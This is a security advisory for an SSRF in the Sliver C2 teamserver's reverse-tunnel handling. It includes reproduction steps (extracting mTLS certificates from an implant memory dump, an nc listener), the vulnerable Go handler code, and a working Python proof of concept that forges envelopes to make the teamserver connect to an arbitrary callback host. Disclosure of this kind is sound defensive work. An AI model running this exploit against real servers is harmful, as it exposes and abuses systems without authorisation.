GHSA-fh4v-v779-4g2w

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https://github.com/advisories/GHSA-fh4v-v779-4g2w
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https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-fh4v-v779-4g2w/GHSA-fh4v-v779-4g2w.json
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https://api.osv.dev/v1/vulns/GHSA-fh4v-v779-4g2w
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Published
2025-02-19T21:11:33Z
Modified
2025-03-03T19:41:53.796812Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N CVSS Calculator
Summary
SSRF in sliver teamserver
Details

Summary

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

Reproduction steps

Run server

wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux

Generate binary

generate --mtls 127.0.0.1:8443

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

nc -nvlp 1111

Run the poc (pasted at bottom of this file)

python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111

Details

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
    mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
    implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

    defer func() {
        mtlsLog.Debugf("mtls connection closing")
        conn.Close()
        implantConn.Cleanup()
    }()

    done := make(chan bool)
    go func() {
        defer func() {
            done <- true
        }()
        handlers := serverHandlers.GetHandlers()
        for {
            envelope, err := socketReadEnvelope(conn)
            if err != nil {
                mtlsLog.Errorf("Socket read error %v", err)
                return
            }
            implantConn.UpdateLastMessage()
            if envelope.ID != 0 {
                implantConn.RespMutex.RLock()
                if resp, ok := implantConn.Resp[envelope.ID]; ok {
                    resp <- envelope // Could deadlock, maybe want to investigate better solutions
                }
                implantConn.RespMutex.RUnlock()
            } else if handler, ok := handlers[envelope.Type]; ok {
                mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
                go func() {
                    respEnvelope := handler(implantConn, envelope.Data)
                    if respEnvelope != nil {
                        implantConn.Send <- respEnvelope
                    }
                }()
            }
        }
    }()

Loop:
    for {
        select {
        case envelope := <-implantConn.Send:
            err := socketWriteEnvelope(conn, envelope)
            if err != nil {
                mtlsLog.Errorf("Socket write failed %v", err)
                break Loop
            }
        case <-done:
            break Loop
        }
    }
    mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map[uint32]ServerHandler {
    return map[uint32]ServerHandler{
        // Sessions
        sliverpb.MsgRegister:    registerSessionHandler,
        sliverpb.MsgTunnelData:  tunnelDataHandler,
        sliverpb.MsgTunnelClose: tunnelCloseHandler,
        sliverpb.MsgPing:        pingHandler,
        sliverpb.MsgSocksData:   socksDataHandler,

        // Beacons
        sliverpb.MsgBeaconRegister: beaconRegisterHandler,
        sliverpb.MsgBeaconTasks:    beaconTasksHandler,

        // Pivots
        sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
        sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
    }
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
    session := core.Sessions.FromImplantConnection(implantConn)
    if session == nil {
        sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
        return nil
    }
    tunnelHandlerMutex.Lock()
    defer tunnelHandlerMutex.Unlock()
    tunnelData := &sliverpb.TunnelData{}
    proto.Unmarshal(data, tunnelData)

    sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

    rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
    if rtunnel != nil && session.ID == rtunnel.SessionID {
        RTunnelDataHandler(tunnelData, rtunnel, implantConn)
    } else if rtunnel != nil && session.ID != rtunnel.SessionID {
        sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
    } else if rtunnel == nil && tunnelData.CreateReverse == true {
        createReverseTunnelHandler(implantConn, data)
        //RTunnelDataHandler(tunnelData, rtunnel, implantConn)
    } else {
        tunnel := core.Tunnels.Get(tunnelData.TunnelID)
        if tunnel != nil {
            if session.ID == tunnel.SessionID {
                tunnel.SendDataFromImplant(tunnelData)
            } else {
                sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
            }
        } else {
            sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
        }
    }

    return nil
}

The createReverseTunnelHandler reads the envelope, creating a socket for req.Rportfwd.Host and req.Rportfwd.Port. It will write recv.Data to it

func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
    session := core.Sessions.FromImplantConnection(implantConn)

    req := &sliverpb.TunnelData{}
    proto.Unmarshal(data, req)

    var defaultDialer = new(net.Dialer)

    remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

    ctx, cancelContext := context.WithCancel(context.Background())

    dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
    //dst, err := net.Dial("tcp", remoteAddress)
    if err != nil {
        tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
            Closed:   true,
            TunnelID: req.TunnelID,
        })
        implantConn.Send <- &sliverpb.Envelope{
            Type: sliverpb.MsgTunnelClose,
            Data: tunnelClose,
        }
        cancelContext()
        return nil
    }

    if conn, ok := dst.(*net.TCPConn); ok {
        // {{if .Config.Debug}}
        //log.Printf("[portfwd] Configuring keep alive")
        // {{end}}
        conn.SetKeepAlive(true)
        // TODO: Make KeepAlive configurable
        conn.SetKeepAlivePeriod(1000 * time.Second)
    }

    tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
    rtunnels.AddRTunnel(tunnel)
    cleanup := func(reason error) {
        // {{if .Config.Debug}}
        sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
        // {{end}}
        tunnel := rtunnels.GetRTunnel(tunnel.ID)
        rtunnels.RemoveRTunnel(tunnel.ID)
        dst.Close()
        cancelContext()
    }

    go func() {
        tWriter := tunnelWriter{
            tun:  tunnel,
            conn: implantConn,
        }
        // portfwd only uses one reader, hence the tunnel.Readers[0]
        n, err := io.Copy(tWriter, tunnel.Readers[0])
        _ = n // avoid not used compiler error if debug mode is disabled
        // {{if .Config.Debug}}
        sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
        // {{end}}

        cleanup(err)
    }()

    tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

    // NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
    // from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
    // is used here whereas WriteSequence is used for data written back to the server

    // Go through cache and write all sequential data to the reader
    for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
        // {{if .Config.Debug}}
        //sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
        // {{end}}
        tunnel.Writer.Write(recv.Data)

        // Delete the entry we just wrote from the cache
        tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
        tunnel.IncReadSequence() // Increment sequence counter

        // {{if .Config.Debug}}
        //sessionHandlerLog.Infof("[message just received] %v", tunnelData)
        // {{end}}
    }

    //If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
    //Send a Resend packet to have the msg resent from the cache
    if tunnelDataCache.Len(tunnel.ID) > 3 {
        data, err := proto.Marshal(&sliverpb.TunnelData{
            Sequence: tunnel.WriteSequence(), // The tunnel write sequence
            Ack:      tunnel.ReadSequence(),
            Resend:   true,
            TunnelID: tunnel.ID,
            Data:     []byte{},
        })
        if err != nil {
            // {{if .Config.Debug}}
            //sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
            // {{end}}
        } else {
            // {{if .Config.Debug}}
            //sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
            // {{end}}
            implantConn.RequestResend(data)
        }
    }
    return nil
}

Impact

For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys For HTTP listeners, you will need to generate valid nonce Not sure about other transport types

POC

POC code, it is not cleaned up at all, please forgive me

#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string

ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE



def generate_random_string(length=8):
    # Combine letters and digits
    characters = string.ascii_letters + string.digits
    # Generate random string
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def rand_unicode(junk_sz):
  junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk_register(junk_sz):
  n = generate_random_string()
  register = {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config_id"+n,
        "PeerID": -1,
        "Locale": "locale" + n
  }

  return register



def make_ping_env():
  reg = sliver.Ping()
  json_format.Parse(json.dumps({}),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Ping')
  envelope.Data = reg.SerializeToString()

  return envelope



def make_rt_env():

    jdata = {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv[4]),
                "Host": sys.argv[3],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg = sliver.TunnelData()
    json_format.Parse(json.dumps(jdata),reg)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('TunnelData')
    envelope.Data = reg.SerializeToString()

    return envelope




def send_envelope(envelope,ip,port):
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    with ssl_ctx.wrap_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data_len = struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 = make_rt_env()
      data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )

      print(data_len)

      ssock.write(data_len + envelope.SerializeToString()) 
      ssock.write(data_len3 + envelope3.SerializeToString())




      # No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data_len3 + envelope3.SerializeToString())



def register_session(ip,port):
  print('[yellow]\[i][/yellow] Sending session registration.')
  reg = sliver.Register()
  json_format.Parse(json.dumps(junk_register(50)),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Register')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

def register_beacon(ip,port):
  print('[yellow]\[i][/yellow] Sending beacon registration.')
  reg = sliver.BeaconRegister()
  reg.ID = str(uuid.uuid4())
  junk_sz = 50
  reg.Interval = random.randint(0,10*junk_sz)
  reg.Jitter = random.randint(0,10*junk_sz)
  reg.NextCheckin = random.randint(0,10*junk_sz)
  json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('BeaconRegister')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if __name__ == '__main__':
  register_session(sys.argv[1], int(sys.argv[2]))
Database specific
{
    "nvd_published_at": "2025-02-19T22:15:24Z",
    "cwe_ids": [
        "CWE-918"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-19T21:11:33Z"
}
References

Affected packages

Go / github.com/bishopfox/sliver

Package

Name
github.com/bishopfox/sliver
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Purl
pkg:golang/github.com/bishopfox/sliver

Affected ranges

Type
SEMVER
Events
Introduced
1.5.26
Fixed
1.5.43

Database specific

{
    "last_known_affected_version_range": "<= 1.5.42"
}